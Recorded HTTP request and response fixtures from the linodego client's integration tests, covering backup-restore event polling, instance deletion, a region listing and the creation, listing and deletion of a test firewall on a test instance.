X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"backups_restore","created":{"+gte":"2022-12-21T14:29:50"},"entity.id":41003831,"entity.type":"linode","id":{"+gte":404806824}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 404806824, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 30.094712, "action": "backups_restore", "username": "jriddle-dev", "entity": {"label": "go-test-ins-wo-disk-bzi7l8090x1m", "id": 41003831, "type": "linode", "url": "/v4/linode/instances/41003831"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"backups_restore","created":{"+gte":"2022-12-21T14:29:50"},"entity.id":41003831,"entity.type":"linode","id":{"+gte":404806824}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 404806824, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 45.088728, "action": "backups_restore", "username": "jriddle-dev", "entity": {"label": "go-test-ins-wo-disk-bzi7l8090x1m", "id": 41003831, "type": "linode", "url": "/v4/linode/instances/41003831"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"backups_restore","created":{"+gte":"2022-12-21T14:29:50"},"entity.id":41003831,"entity.type":"linode","id":{"+gte":404806824}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 404806824, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 60.08644, "action": "backups_restore", "username": "jriddle-dev", "entity": {"label": "go-test-ins-wo-disk-bzi7l8090x1m", "id": 41003831, "type": "linode", "url": "/v4/linode/instances/41003831"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "463" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"backups_restore","created":{"+gte":"2022-12-21T14:29:50"},"entity.id":41003831,"entity.type":"linode","id":{"+gte":404806824}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 404806824, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 69.0, "action": "backups_restore", "username": "jriddle-dev", "entity": {"label": "go-test-ins-wo-disk-bzi7l8090x1m", "id": 41003831, "type": "linode", "url": "/v4/linode/instances/41003831"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstanceFirewalls_List.yaml000066400000000000000000000616151455402072200327200ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"linodego-fw-inst-test","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 52739346, "label": "linodego-fw-inst-test", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.49.53"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "5fdc396f0b8d2512b9411b8a814e30ccf4816250", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "738" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-fw-ins-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{"linodes":[52739346]}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 286089, "label": "linodego-fw-ins-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "530" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52739346/firewalls method: GET response: body: '{"data": [{"id": 286089, "label": "linodego-fw-ins-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "579" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/286089 method: DELETE response: body: '{}' headers: 